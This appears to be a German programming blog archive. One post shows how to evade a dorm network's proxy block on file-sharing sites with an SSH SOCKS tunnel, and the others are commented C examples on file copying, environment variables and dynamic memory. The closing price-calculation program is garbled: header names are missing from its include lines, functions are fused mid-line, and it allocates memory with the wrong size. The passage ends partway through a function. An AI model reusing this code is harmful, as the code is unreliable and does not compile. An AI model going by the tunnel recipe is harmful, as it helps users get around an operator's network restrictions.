Mit der Mentionmap kann man Twitter visualisieren, aber seht selber … :-)
Ich hatte bereits einmal über das Thema “Ports via ssh weiterleiten” geschrieben, um z.B. pop3 oder smtp verschlüsselt zu nutzen. Heute zeige ich aus aktuellem Anlass, wie man mithilfe SSH einen transparenten Proxy im Netzwerk umgehen kann. Im Studentenwohnheim (Krefeld) ist jemand auf die glorreiche Idee gekommen alle Webseiten auf denen Filesharing betrieben werden kann, zu sperren.
z.B.: www.dropbox.com
(Tipp: mit “Alt” + “Druck” bekommt man einen Screenshot vom gewählten Fenster)
1.) Tunnel auf dem Client zum Server erstellen
Der folgende Befehl erstellt einen Socks kompatiblen Proxy per SSH-Tunnel. Wie im anderen Blog-Post beschrieben, kann man z.B. mit dem Parameter “-L” eine Verbindung zu einem anderen Proxy per SSH aufbauen.
ssh -D 3128 -fN user@server
(ssh -L 3128:proxyserver:3128 -fN user@proxyserver)
2.) SSH-Tunnel verwenden
Nun können wir einen neuen Proxy einstellen, unter Gnome …
System > Einstellungen > Netzwerk-Proxy
… als Socks-Rechner tragen wir nun “localhost” und den Port “3128” ein.
In dem Buch “Linux-Programmierung” habe ich einige interessante Beispiele zum kopieren von Dateien unter Linux gefunden.
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdlib.h>
int main() {
char c;
int in, out;
// open - mit dem Systemaufruf open kann ein neuer Dateideskriptor erstellt werden
// ---------------------
// Modus -> Beschreibung
// ---------------------
// O_RDONLY -> nur zum lesen oeffnen
// O_WONLY -> nur zum schreiben oeffnen
// O_RDWR -> zum lesen und schreiben oeffnen
// ---------------------
// optionaler Modus -> Beschreibung
// ---------------------
// O_APPEND -> am Ende der Datei schreiben
// O_TRUNC -> Inhalt der vorhandenen Datei wird geloescht
// O_CREAT -> erstellt die Datei mit Berechtigungen
// O_EXCL -> stellt sicher, dass nicht zwei Programme
// die selbe Datei, zur gleichen Zeit erstellen
// ---------------------
// Berechtigung -> Beschreibung
// ---------------------
// S_IRUSR -> Lesen, Eigentuemer (owner)
// S_IWUSR -> Schreiben, Eigentuemer (owner)
// S_IXUSR -> Ausfuehren, Eigentuemer (owner)
// S_IRGRP -> Lesen, Gruppe (group)
// S_IWGRP -> Schreiben, Gruppe (group)
// S_IXGRP -> Ausfuehren, Gruppe (group)
// S_IROTH -> Lesen, Andere (others)
// S_IWOTH -> Schreiben, Andere (others)
// S_IXOTH -> Ausfuehren, Andere (others)
//
// weitere Infos unter: man 2 open
//
// 1 MB Datei erstellen -> dd if=/dev/zero of=file.in bs=1024 count=10240
//
// Datei "file.in" zum lesen oeffnen
in = open("file.in", O_RDONLY);
// Datei "file.out" erstellen (Eigentuemer -> Lesen + Schreiben)
out = open("file.out", O_WRONLY|O_CREAT, S_IRUSR|S_IWUSR);
// Zeichen fuer Zeichen einlesen ...
while(read(in,&c,1) == 1) {
// ... und jedes Zeichen in die neue Datei schreiben
write(out,&c,1);
}
exit(0);
}
Wir gehen in diesem Beispiel davon aus, dass die Datei “file.in” (10 MB) bereits vorhanden ist.
Test:
dd if=/dev/zero of=file.in bs=1024 count=10240
time ./copy_system
Ausgabe:
./copy_system 7,54s user 88,56s system 99% cpu 1:36,23 total
Wie wir sehen, dauerte der Kopiervorgang insgesamt ~ 1 1/2 Minuten, da wir die Datei Zeichen für Zeichen kopiert haben, im nächsten Beispiel werden jeweills 1024 Byte eingelesen und in die neue Datei geschrieben.
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdlib.h>
int main() {
char block[1024];
int in, out, nread;
// open - mit dem Systemaufruf open kann ein neuer Dateideskriptor erstellt werden
// ---------------------
// Modus -> Beschreibung
// ---------------------
// O_RDONLY -> nur zum lesen oeffnen
// O_WONLY -> nur zum schreiben oeffnen
// O_RDWR -> zum lesen und schreiben oeffnen
// ---------------------
// optionaler Modus -> Beschreibung
// ---------------------
// O_APPEND -> am Ende der Datei schreiben
// O_TRUNC -> Inhalt der vorhandenen Datei wird geloescht
// O_CREAT -> erstellt die Datei mit Berechtigungen
// O_EXCL -> stellt sicher, dass nicht zwei Programme
// die selbe Datei, zur gleichen Zeit erstellen
// ---------------------
// Berechtigung -> Beschreibung
// ---------------------
// S_IRUSR -> Lesen, Eigentuemer (owner)
// S_IWUSR -> Schreiben, Eigentuemer (owner)
// S_IXUSR -> Ausfuehren, Eigentuemer (owner)
// S_IRGRP -> Lesen, Gruppe (group)
// S_IWGRP -> Schreiben, Gruppe (group)
// S_IXGRP -> Ausfuehren, Gruppe (group)
// S_IROTH -> Lesen, Andere (others)
// S_IWOTH -> Schreiben, Andere (others)
// S_IXOTH -> Ausfuehren, Andere (others)
//
// weitere Infos unter: man 2 open
//
// 1 MB Datei erstellen -> dd if=/dev/zero of=file.in bs=1024 count=10240
//
// Datei "file.in" zum lesen oeffnen
in = open("file.in", O_RDONLY);
// Datei "file.out" erstellen (Eigentuemer -> Lesen + Schreiben)
out = open("file.out", O_WRONLY|O_CREAT, S_IRUSR|S_IWUSR);
// 1024 Byte werden eingelesen ...
while((nread = read(in,block,sizeof(block))) > 0) {
// ... und in die neue Datei geschrieben
write(out,block,nread);
}
exit(0);
}
Test:
rm file.out
time ./copy_block
Ausgabe:
./copy_block 0,01s user 0,15s system 98% cpu 0,158 total
Hier dauerte der gleiche Vorgang nur noch ~ 0,16 Sekunden. Daher nutzt man zum kopieren von ganzen Festplatten auch gerne “dd”! :-) Zum Schluss noch ein Beispiel, wo die Bibliothek (stdio.h) von C genutzt wurden.
#include <stdio.h>
#include <stdlib.h>
int main() {
char c;
FILE *in, *out;
// fopen - oeffnet eine Datei
// ---------------------
// Modus -> Beschreibung
// ---------------------
// r -> nur zum lesen oeffnen
// w -> nur zum schreiben oeffnen
// a -> am Ende der Datei anhaengen
// r+ -> zum Aktualisieren oeffnen (schreiben + lesen)
// w+ -> zum Aktualisieren oeffnen, auf Null-Laenge abschneiden
// a+ -> zum Aktualisieren oeffnen, am Ende der Datei anhaengen
//
// weitere Infos unter: man fopen
//
// fgetc - liefert das naechste Byte als Zeichen aus einem Datei-Stream zurueck,
// die Funktion liefert EOF (End of File) beim Ende der Datei bzw.
// bei einem Fehler zurück
//
// weitere Infos unter: man fgetc
//
// fputc - schreibt ein Zeichen in einen Ausgabe-Datei-Stream
//
// weitere Infos unter: man fputc
//
// 1 MB Datei erstellen -> dd if=/dev/zero of=file.in bs=1024 count=10240
//
// Datei "file.in" zum lesen oeffnen
in = fopen("file.in", "r");
// Datei "file.out" erstellen (Eigentuemer -> Lesen + Schreiben)
out = fopen("file.out", "w");
// Zeichen fuer Zeichen einlesen (+ interner Puffer in der Struktur FILE) ...
while((c = fgetc(in)) != EOF) {
// ... und jedes Zeichen in die neue Datei schreiben
fputc(c,out);
}
exit(0);
}
Test:
rm file.out
time ./copy_system_2
Ausgabe:
./copy_system_2 1,10s user 0,09s system 99% cpu 1,196 total
Hier brauchen wir für 10 MB zirka 1,2 Sekunden, was um einiges schneller ist als das erste Beispiel, wo die Zeichen einzeln kopiert wurden.
In dem Buch “Linux Programmierung” habe ich ein schönes Beispiel für Umgebungsvariablen unter Linux gefunden, welches ich gerade ein wenig Kommentiert habe… :-)
“Beachten Sie, dass sich die Umgebung nur lokal zum Programm verhält. Änderungen, die innerhalb des Programmes durchgeführt werden, werden nicht nach außen reflektiert, da Variablenwerte nicht vom untergeordneten Prozess (unser Programm) an den übergeordneten Prozess (die Shell) propagiert werden.” – Seite 166
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
/* argc -> Anzahl Kommandozeilenparameter + Programmnamen (1), somit ist der Wert min. 1 */
/* argv -> ist ein Zeiger auf das Feld (Array) mit der in argc angegebene Anzahl von Elementen...
... und die Elemente (z.B.: argc[0] sind Zeiger auf eine Zeichenkette...
arg[0] -> Programmname
arg[1] -> 1. Parameter
arg[2] -> 2. Parameter
[...]
arg[n] -> letzter Parameter
0L -> das letzte Element von argv[] einthaelt eine Null
*/
int main(int argc, char *argv[]) {
char *var, *value;
// wenn kein oder mehr als 3 Parameter uebergeben wurden, dann ...
if (argc == 1 || argc > 3) {
// Fehlermeldung ausgeben und Programm beenden
fprintf(stderr,"usage: environ var [value]\n");
exit(1);
}
// 1. Parameter in die Variable "var" schreiben
var = argv[1];
// mit getenv den Wert der Umgebungsvariablen abrufen
// und in die Variable "value" schreiben
value = getenv(var);
// wenn value wahr bzw. vorhanden ist, dann ...
if (value) {
printf("Variable %s has value %s\n", var, value);
// ... ansonsten ...
} else {
printf("Variable %s has no value\n", var);
}
// wenn 2. Parameter uebergeben wurden, dann ...
if (argc == 3) {
char *string;
// 2. Parameter in die Variable "value" schreiben
value = argv[2];
// Speicherbereich fuer die Umgebungsvariablen + Wert anlegen
string = malloc(strlen(var)+strlen(value)+2);
// wenn string nicht wahr bzw. nicht vorhanden ist, dann ...
if(!string) {
// Fehlermeldung ausgeben und Programm beenden
fprintf(stderr,"out of memory\n");
exit(1);
}
// strcpy - Stringfunktion zum kopieren einer Zeichenkette (string <- var)
strcpy(string,var);
// strcat - Stringfunktion zum verketten von Strings (string=)
strcat(string,"=");
// strcat - Stringfunktion zum verketten von Strings (string=value)
strcat(string,value);
printf("Calling putenv with: %s\n", string);
//
// putenv - Aendert oder setzt eine Umgebungsvariable, gibt -1 bei einem Fehler
// und 0 bei keinem Fehler aus
//
// wenn nicht gleich 0 -> wenn ein Fehler aufgetreten ist , dann ...
if (putenv(string) != 0) {
// Fehlermeldung ausgeben, Speicher wieder freigeben und Programm beenden
fprintf(stderr,"putenv failed\n");
free(string);
exit(1);
}
// den Wert der Umgebungsvariablen in der Variablen "var"
// in die Variable "value" schreiben
value = getenv(var);
// wenn value gleich wahr bzw. gesetzt, dann ...
if (value) {
// Umgebungsvariablen + neuen Wert ausgeben
printf("New value of %s is %s\n", var, value);
// ... ansonsten ...
} else {
// Umgebungsvariablen + ? ausgeben
printf("New value of %s is null??\n", var);
}
}
exit(0);
}
In diesem Beispiel zeigt ich, wie man Speicher dynamisch anlegen bzw. verwalten kann …
/*
============================================================================
Autor : Lars Moelleken
Datum : 10.02.2011
Beschreibung : Preiskalkulation
Version : 1.0
Compiler : gcc 4.6.2-12
Programmschnittstelle: int main(void)
Das Programm gibt den Wert 0 oder 1 zurück.
Es werden keine Argumente erwartet.
============================================================================
*/
/*
============================================================================
Praeprozessoranweisungen
============================================================================
*/
#include
#include
#include
#include
#if defined __linux__
#include
#elif defined _WIN32 || defined _WIN64
#define false 0
#define true 1
#endif
#define FUNSTAR_PREIS 1243.43
#define FUNSTAR_NAME "Fun Star"
#define HIGHEND_PREIS 1658.50
#define HIGHEND_NAME "High End"
#define MULTIMEDIASTAR_PREIS 698.20
#define MULTIMEDIASTAR_NAME "Multimedia Star"
#define OFFICESTAR_PREIS 1015.39
#define OFFICESTAR_NAME "Office Star"
#define GEHAEUSE_NAME "Gehaeuse"
#define LX100_PREIS 97.05
#define LX100_NAME "Compucase LX100 weiss"
#define LX120_PREIS 68.89
#define LX120_NAME "Compucase LX120 schwarz"
#define LX34A_PREIS 103.60
#define LX34A_NAME "Compucase LX34A weiss"
#define MAINBOARD_PREIS 193.03
#define MAINBOARD_NAME "Mainboard"
#define CPU_PREIS 334.65
#define CPU_NAME "CPU"
#define FESTPLATTEN_PREIS 130.95
#define FESTPLATTEN_NAME "Festplatte"
#define GRAFIKKARTEN_PREIS 319.13
#define GRAFIKKARTEN_NAME "Grafikkarte"
// die Struktur existiert nach der Deklaration als neuer Datentyp
// per typedef kann ein Synonym fuer die Strucktur erstellt werden
typedef struct
{
char *pcKundenname, *pcProduktname;
int iKundenNr, iProduktanzahl, iLieferung, iMontage;
double dPreis;
} kunden;
/*
============================================================================
Funktionsprototypen
============================================================================
*/
// neuer Datentyp "kunden" wird hier direkt verwendent
kunden* datenEinlesen(kunden *s,int *iAnzahl, char *pcKundenname,
char *pcProduktname, int iKundenNr, int iProduktanzahl,
int iLieferung,int iMontage,double dPreis);
int cls(void);
int new_fflush(void);
int InArray(int x, int iArray[], int iSize);
int loeschen(kunden *s, int *iAnzahl, int i);
double berechnungPreis(double dInputPreis, int iLieferung,
int iMontage, int iAusgabe);
int ausgabeWarenkorb(kunden *s, int iAnzahl);
int ausgabeGesamtpreis(kunden *s, int iAnzahl);
int sucheNachKundenNr(kunden *s, int iAnzahl, int iKundenNr);
int sucheNachName(kunden *s, int iAnzahl, char *pcKundenname);
char *readKundenName(kunden *s, int iAnzahl, int iKundenNr);
int readProduktanzahl(void);
int readMontage(void);
int readLieferung(void);
int readKundenNr(void);
int printMenu(void);
int printMenuStandard(void);
int printMenuEinzel(void);
int printMenuGehaeuse(void);
/*
============================================================================
Funktion main() - Hauptfunktion
============================================================================
*/
int main(void)
/*
Rückgabewert: 0 ==> alles OK
1 ==> es ist ein Fehler aufgetreten
Es werden keine Argumente übergeben!
*/
{
char cNamePuffer[100], cProduktPuffer[100], cInput;
int iAnzahl=0, i, iKundenNr, inputStandard, auswahl, iProduktanzahl,
iShowMenu=true, iLieferung=false, iMontage=false;
double dPreis;
// Zeiger auf einen Eintrag definieren
kunden *s;
// neuen Speicherbereich fuer die Struktur "kunden" anlegen
s = (kunden*) malloc(sizeof(iAnzahl));
// falls kein Speicherplatz zur Verfuegung steht ...
if (s == NULL)
{
printf("Fehler: .......Speicherplatzmangel\n");
exit(1);
}
// solange bis '0' eingegeben wird ...
do
{
if (iShowMenu == 1)
{
cls();
// Ausgabe vom Warenkorb
ausgabeGesamtpreis(s,iAnzahl);
// Ausgabe vom Menue
printMenu();
}
// Eingabe
scanf("%c", &cInput);
new_fflush();
// Auswahl zur Eingabe
switch (cInput)
{
// Einlesen
case 'a': case 'A':
iShowMenu=false;
// i = 1 => true
i = 1;
// solange i = true ...
while (i == true)
{
do
{
cls();
// Ausgabe vom Warenkorb
ausgabeGesamtpreis(s,iAnzahl);
// Ausgabe vom MenueStadard
printMenuStandard();
scanf("%d", &inputStandard);
new_fflush();
}
while (inputStandard != 0 &&
inputStandard != 1 &&
inputStandard != 2 &&
inputStandard != 3 &&
inputStandard != 4);
// Auswahl zur Eingabe
switch (inputStandard)
{
case 1:
dPreis=FUNSTAR_PREIS;
strncpy(cProduktPuffer,FUNSTAR_NAME,
strlen(FUNSTAR_NAME) +1);
break;
case 2:
dPreis=HIGHEND_PREIS;
strncpy(cProduktPuffer,HIGHEND_NAME,
strlen(HIGHEND_NAME) +1);
break;
case 3:
dPreis=MULTIMEDIASTAR_PREIS;
strncpy(cProduktPuffer,MULTIMEDIASTAR_NAME,
strlen(MULTIMEDIASTAR_NAME) +1);
break;
case 4:
dPreis=OFFICESTAR_PREIS;
strncpy(cProduktPuffer,OFFICESTAR_NAME,
strlen(OFFICESTAR_NAME) +1);
break;
default:
dPreis=0;
// i = 0 => false => while-Schleife wird verlassen
i=false;
cls();
iShowMenu=true;
break;
}
if (dPreis != 0)
{
iKundenNr=readKundenNr();
strcpy(cNamePuffer,readKundenName(s, iAnzahl, iKundenNr));
iProduktanzahl=readProduktanzahl();
iLieferung=readLieferung();
cls();
berechnungPreis(dPreis, iLieferung, iMontage, 1);
printf("\n\nIn den Warenkorb? ('j' fuer ja) ");
// Einlesen von cInput
scanf("%c", &cInput);
new_fflush();
printf("\n\n");
// wenn Eingabe ungleich j ist, dann ...
if (cInput == 'j')
{
// Speicher wird per Funktion (datenEinlesen) erstellt
s = datenEinlesen(s,&iAnzahl,cNamePuffer,cProduktPuffer,
iKundenNr,iProduktanzahl,iLieferung,iMontage,dPreis);
printf("\n**Eintrag gespeichert**\n");
printf("\n\tweiteren Eintrag anlegen? ('j' fuer ja) ");
}
else
{
printf("\n\tanderen Eintrag anlegen? ('j' fuer ja) ");
}
// Einlesen von cInput
scanf("%c", &cInput);
new_fflush();
printf("\n\n");
// wenn Eingabe ungleich j ist, dann ...
if (cInput != 'j')
{
// i = 0 => false => while-Schleife wird verlassen
i=false;
cls();
iShowMenu=true;
}
else
{
cls();
iShowMenu=false;
}
}
}
// beendet eine Schleife bzw. eine case-Anweisung
break;
// Einlesen
case 'b': case 'B':
cls();
iShowMenu=false;
// i = 1 => true
i = true;
// solange i==true ...
while (i == true)
{
do
{
cls();
// Ausgabe vom Warenkorb
ausgabeGesamtpreis(s,iAnzahl);
// Ausgabe vom MenueStadard
printMenuEinzel();
scanf("%d", &inputStandard);
new_fflush();
}
while (inputStandard != 0 &&
inputStandard != 1 &&
inputStandard != 2 &&
inputStandard != 3 &&
inputStandard != 4 &&
inputStandard != 5);
// Auswahl zur Eingabe
switch (inputStandard)
{
case 1:
// i = 0 => false => while-Schleife wird verlassen
i=false;
do
{
cls();
// Ausgabe vom Warenkorb
ausgabeGesamtpreis(s,iAnzahl);
// Ausgabe vom MenueStadard
printMenuGehaeuse();
scanf("%d", &inputStandard);
new_fflush();
}
while (inputStandard != 0 &&
inputStandard != 1 &&
inputStandard != 2 &&
inputStandard != 3);
// Auswahl zur Eingabe
switch (inputStandard)
{
case 1:
dPreis=LX100_PREIS;
strncpy(cProduktPuffer,LX100_NAME,
strlen(LX100_NAME) +1);
break;
case 2:
dPreis=LX120_PREIS;
strncpy(cProduktPuffer,LX120_NAME,
strlen(LX120_NAME) +1);
break;
case 3:
dPreis=LX34A_PREIS;
strncpy(cProduktPuffer,LX34A_NAME,
strlen(LX34A_NAME) +1);
break;
default:
dPreis=0;
// i = 0 => false => while-Schleife wird verlassen
i=false;
cls();
iShowMenu=true;
break;
}
break;
case 2:
dPreis=MAINBOARD_PREIS;
strncpy(cProduktPuffer,MAINBOARD_NAME,
strlen(MAINBOARD_NAME) +1);
break;
case 3:
dPreis=CPU_PREIS;
strncpy(cProduktPuffer,CPU_NAME,
strlen(CPU_NAME) +1);
break;
case 4:
dPreis=FESTPLATTEN_PREIS;
strncpy(cProduktPuffer,FESTPLATTEN_NAME,
strlen(FESTPLATTEN_NAME) +1);
break;
case 5:
dPreis=GRAFIKKARTEN_PREIS;
strncpy(cProduktPuffer,GRAFIKKARTEN_NAME,
strlen(GRAFIKKARTEN_NAME) +1);
break;
default:
dPreis=0;
// i = 0 => false => while-Schleife wird verlassen
i=false;
cls();
iShowMenu=true;
break;
}
if (dPreis != 0)
{
iKundenNr=readKundenNr();
strcpy(cNamePuffer,readKundenName(s, iAnzahl, iKundenNr));
iProduktanzahl=readProduktanzahl();
iLieferung=readLieferung();
iMontage=readMontage();
cls();
berechnungPreis(dPreis, iLieferung, iMontage, 1);
printf("\n\nIn den Warenkorb? ('j' fuer ja) ");
// Einlesen von cInput
scanf("%c", &cInput);
new_fflush();
printf("\n\n");
// wenn Eingabe ungleich j ist, dann ...
if (cInput == 'j')
{
// Speicher wird per Funktion (datenEinlesen) erstellt
s = datenEinlesen(s,&iAnzahl,cNamePuffer,cProduktPuffer,
iKundenNr,iProduktanzahl,iLieferung,iMontage,dPreis);
printf("\n**Eintrag gespeichert**\n");
printf("\n\tweiteren Eintrag anlegen? ('j' fuer ja) ");
}
else
{
printf("\n\tanderen Eintrag anlegen? ('j' fuer ja) ");
}
// Einlesen von cInput
scanf("%c", &cInput);
new_fflush();
printf("\n\n");
// wenn Eingabe ungleich j ist, dann ...
if (cInput != 'j')
{
// i = 0 => false => while-Schleife wird verlassen
i=false;
cls();
iShowMenu=true;
}
else
{
cls();
iShowMenu=false;
}
}
}
// beendet eine Schleife bzw. eine case-Anweisung
break;
// Ausgabe
case 'c': case 'C':
cls();
iShowMenu=false;
// wenn Anzahl gleich 0, dann ...
if (iAnzahl==0)
{
printf("\n\n**Kein Eintrag gefunden**\n\n");
}
else
{
ausgabeWarenkorb(s,iAnzahl);
}
printf("\ndrueke 'Enter' um fortzufahren: ...\n");
if (getchar() == '\n')
{
cls();
iShowMenu=true;
}
// beendet eine Schleife bzw. eine case-Anweisung
break;
// Nach Kunden-Namen suchen
case 'd': case 'D':
cls();
iShowMenu=false;
printf("Suchen (Kunden-Name): ");
// Einlesen von cNamePuffer (pcKundenname)
scanf("%99s", cNamePuffer);
new_fflush();
// Funktion wird aufgerufen
sucheNachName(s,iAnzahl,cNamePuffer);
printf("\ndrueke 'Enter' um fortzufahren: ...\n");
if (getchar() == '\n')
{
cls();
iShowMenu=true;
}
// beendet eine Schleife bzw. eine case-Anweisung
break;
// Nach Kunden-Nr. suchen
case 'e': case 'E':
cls();
iShowMenu=false;
printf("Suchen (Kunden-Nr.): ");
// Einlesen von iKundenNr
scanf("%d",&iKundenNr);
new_fflush();
// Funktion wird aufgerufen
sucheNachKundenNr(s,iAnzahl,iKundenNr);
printf("\ndrueke 'Enter' um fortzufahren: ... \n");
if (getchar() == '\n')
{
cls();
iShowMenu=true;
}
// beendet eine Schleife bzw. eine case-Anweisung
break;
// Einen Eintrag löschen
case 'f': case 'F':
cls();
iShowMenu=false;
printf("Loeschen: ");
i=true;
while (i == true)
{
if (iAnzahl != 0)
{
for (i=0; i != iAnzahl; i++)
{
printf("\n\t---------------------------------------");
printf("\n\tIndex: %d -> Kunde: %s (%d)", i,
s[i].pcKundenname, s[i].iKundenNr);
printf("\n\t---------------------------------------");
}
printf("\n\nIndex angeben: ");
scanf("%d",&auswahl);
new_fflush();
if (auswahl < 0 || auswahl >= iAnzahl)
{
cls();
printf("\nungueltige Eingabe\n\n");
}
else
{
printf("\n\tEintrag wirklich loeschen? ('j' fuer ja) ");
// Einlesen von cInput
scanf("%c", &cInput);
new_fflush();
printf("\n\n");
// wenn Eingabe gleich j ist, dann ...
if (cInput == 'j')
{
loeschen(s,&iAnzahl,auswahl);
i=false;
printf("\n\n**Eintrag geloescht !**\n\n");
}
else
{
// i = 0 => false => while-Schleife wird verlassen
i=false;
iShowMenu=true;
}
}
}
else
{
i=false;
printf("\n\n**Kein Eintrag gefunden**\n\n");
}
printf("\ndrueke 'Enter' um fortzufahren: ... \n");
if (getchar() == '\n')
{
cls();
iShowMenu=true;
}
}
// beendet eine Schleife bzw. eine case-Anweisung
break;
// Speicher wieder freigeben (free)
case 'x': case 'X':
for (i=0; i != iAnzahl; i++)
{
// "free" gibt den Speicher wieder frei
free(s[i].pcKundenname);
}
// testing
//free(s);
// Alternative schreibweise:
// realloc(s,0);
// beendet eine Schleife bzw. eine case-Anweisung
break;
// Standard
default:
iShowMenu=true;
break;
}
// solange in der Schleife bleiben, bis 0 eingegeben wird
}
while (cInput != 'x' && cInput != 'X');
return 0;
}
/*
============================================================================
Funktion datenEinlesen() - der Speicher wird bereitgestellt und die Eingaben
an die Strucktur uebergeben
============================================================================
*/
kunden* datenEinlesen(kunden *s, int *iAnzahl, char *pcKundenname,
char *pcProduktname, int iKundenNr, int iProduktanzahl,
int iLieferung, int iMontage, double dPreis)
/*
Rückgabewert: s ==> neuen Speicherbereich
Argumente: *s ==> Zeiger auf den neuen Speicherbereich
*iAnzahl ==> Zeiger auf die Anzahl an Eintraegen
*pcKundenname ==> Zeiger auf den Kunden-Namen
*pcProduktname ==> Zeiger auf den Produkt-Namen
iKundenNr ==> Kunden-Nr.
iProduktanzahl ==> Anzahl vom bestellten Produkten
iLieferung ==> Lieferung (1=ja || 0=nein)
iMontage ==> Montage (1=ja || 0=nein)
dPreis ==> Preis pro Produkt
*/
{
//
// realloc() - kann Speicherplatz von einem bereits zugeteilten
// Blocks vergroeßern oder verkleinern, dazu wird ein
// Zeiger auf die Anfangsadresse des neu reservierten
// Speicherblocks gesetzt, dabei bleibt der Inhalt des
// urspruenglichen Speicherblocks erhalten und der neue
// Speicherblock wird hinten angefuegt
//
// Speicherbereich wird vergroeßert
s=(kunden*)realloc(s,sizeof(kunden)*(*iAnzahl +1));
//
// strlen - gibt die Anzahl der Zeichen eines Strings
// ohne das Null-Zeichen zurueck
// strcpy - Stringfunktion zum kopieren einer Zeichenkette
//
// malloc() - reserviert genau so viel zusammenhaengenden Speicher,
// wie angegeben wird, zurueckgegeben wird ein typenloser
// Zeiger auf void mit der Anfangsadresse des
// Speicherbereichs
//
// z.B.:
// Speicher fuer 100 int-Elemente reservieren
// ptr = malloc(100 * sizeof(int));
// ...
// Speicher auf 50 int-Elemente verkleinern
// ptr = realloc(ptr, 50 * sizeof(int));
// ...
// Speicher von 256 auf 512 int-Elemente vergroeßern
// int block = 256;
// ptr = malloc(block * sizeof(int));
// block += block;
// ptr = reallloc(ptr, block * sizeof(int));
//
// neuen Speicherbereich fuer einen neuen Namen anlegen
// +1 wegen \0 -> am Ende vom String
s[*iAnzahl].pcKundenname=(char*) malloc(strlen(pcKundenname) +1);
// falls kein Speicherplatz zur Verfuegung steht ...
if (s[*iAnzahl].pcKundenname == NULL)
{
printf("Fehler: .......Speicherplatzmangel\n");
exit(1);
}
// der Strucktur (kunden) wird die Variable "pcKundenname" hinzugefuegt
strncpy(s[*iAnzahl].pcKundenname,pcKundenname,strlen(pcKundenname) +1);
// der Strucktur (kunden) wird die Variable "iKundenNr" hinzugefuegt
s[*iAnzahl].iKundenNr=iKundenNr;
// neuen Speicherbereich fuer einen neuen Produktnamen anlegen
// +1 wegen \0 -> am Ende vom String
s[*iAnzahl].pcProduktname=(char*) malloc(strlen(pcProduktname) +1);
// falls kein Speicherplatz zur Verfuegung steht ...
if (s[*iAnzahl].pcProduktname == NULL)
{
printf("Fehler: .......Speicherplatzmangel\n");
exit(1);
}
// der Strucktur (kunden) wird die Variable "pcProduktname" hinzugefuegt
strncpy(s[*iAnzahl].pcProduktname,pcProduktname,strlen(pcProduktname) +1);
// der Strucktur (kunden) wird die Variable "iProduktanzahl" hinzugefuegt
s[*iAnzahl].iProduktanzahl=iProduktanzahl;
// der Strucktur (kunden) wird die Variable "iLieferung" hinzugefuegt
s[*iAnzahl].iLieferung=iLieferung;
// der Strucktur (kunden) wird die Variable "iMontage" hinzugefuegt
s[*iAnzahl].iMontage=iMontage;
// der Strucktur (kunden) wird die Variable "dPreis" hinzugefuegt
s[*iAnzahl].dPreis=dPreis;
// die Anzahl der Kunden um 1 erhoehen
++*iAnzahl;
return s;
}
/*
============================================================================
Funktion cls() - clear
============================================================================
*/
int cls(void)
/*
Rückgabewert: 0 ==> alles OK
Es werden keine Argumente übergeben!
*/
{
#if defined __linux__
printf("\033[2J");
#elif defined _WIN32 || defined _WIN64
system("cls");
#endif
return 0;
}
/*
============================================================================
Funktion new_fflush() - fflush(stdin) for Linux and Windows
============================================================================
*/
int new_fflush(void)
/*
Rückgabewert: 0 ==> alles OK
Es werden keine Argumente übergeben!
*/
{
#if defined __linux__
int ch;
while ((ch = getchar()) != '\n' && ch != EOF);
#elif defined _WIN32 || defined _WIN64
fflush(stdin);
#endif
return 0;
}
/*
============================================================================
Funktion InArray() - check if 'x' in the 'iArray'
============================================================================
*/
int InArray(int x, int iArray[], int iSize)
/*
Rückgabewert: inArray ==> is in Array or not ;)
Argumente: x ==> checking 'x'
iArray[] ==> in this iArray
iSize ==> iSize of the iArray
*/
{
// default is "false"
int inArray=false;
int i;
for (i=0; i alles OK
Argumente: *s ==> Zeiger auf den neuen Speicherbereich
*iAnzahl ==> Zeiger auf die Anzahl an Eintraegen
i ==> Auswahl des Indexes
*/
{
// solange Index nicht Anzahl ist ...
for (i; i != *iAnzahl; i++)
{
// Strucktur-Eintraege um 1 erhoehen
s[i].pcKundenname=s[i+1].pcKundenname;
s[i].iKundenNr=s[i+1].iKundenNr;
s[i].pcProduktname=s[i+1].pcProduktname;
s[i].iProduktanzahl=s[i+1].iProduktanzahl;
s[i].iLieferung=s[i+1].iLieferung;
s[i].iMontage=s[i+1].iMontage;
s[i].dPreis=s[i+1].dPreis;
}
// Anzahl -1
--*iAnzahl;
// Speicherbereich wird verkleinert
s=(kunden*) realloc(s,sizeof(kunden) * (*iAnzahl));
return 0;
}
// Funktion: berechnungPreis
double berechnungPreis(double dInputPreis, int iLieferung,
int iMontage, int iAusgabe)
{
// Ausgabe ...
if (iAusgabe == 1)
{
printf("\n\n\tListenpreis pro Artikel:\t%7.2lf", dInputPreis);
printf("\n\t\t+ Lagerkosten:\t\t%7.2lf", dInputPreis * 0.1);
}
dInputPreis = dInputPreis + (dInputPreis * 0.1);
if (iAusgabe == 1)
{
printf("\n\t---------------------------------------");
printf("\n\tMaterialkosten:\t\t\t%7.2lf", dInputPreis);
printf("\n\t\t+ Verwaltungskosten:\t%7.2lf", dInputPreis * 0.1);
}
dInputPreis = dInputPreis + (dInputPreis * 0.1);
if (iAusgabe == 1)
{
printf("\n\t---------------------------------------");
printf("\n\tSelbstkosten:\t\t\t%7.2lf", dInputPreis);
printf("\n\t\t+ Gewinn:\t\t%7.2lf", dInputPreis * 0.1);
}
dInputPreis = dInputPreis + (dInputPreis * 0.1);
if (iAusgabe == 1)
{
printf("\n\t---------------------------------------");
printf("\n\tBarverkaufspreis:\t\t%7.2lf", dInputPreis);
}
if (iLieferung == 1)
{
if (iAusgabe == 1)
{
printf("\n\t\t+ Versand:\t\t%7.2lf", dInputPreis * 0.05);
}
dInputPreis = dInputPreis + (dInputPreis * 0.05);
if (iAusgabe == 1)
{
printf("\n\t---------------------------------------");
printf("\n\tVersandpreis:\t\t\t%7.2lf", dInputPreis);
}
}
if (iMontage == 1)
{
if (iAusgabe == 1)
{
printf("\n\t\t+ Montage:\t\t%.2lf", dInputPreis * 0.15);
}
dInputPreis = dInputPreis + (dInputPreis * 0.15);
if (iAusgabe == 1)
{
printf("\n\t---------------------------------------");
printf("\n\tHerstellungskosten:\t\t%7.2lf", dInputPreis);
}
}
return dInputPreis;
}
/*
============================================================================
Funktion ausgabeWarenkorb() - Warenkorb ausgeben
============================================================================
*/
int ausgabeWarenkorb(kunden *s, int iAnzahl)
/*
Rückgabewert: 0 ==> alles OK
Argumente: *s ==> Zeiger auf den neuen Speicherbereich
iAnzahl ==> Anzahl an Eintraegen
*/
{
int i, iArray[100];
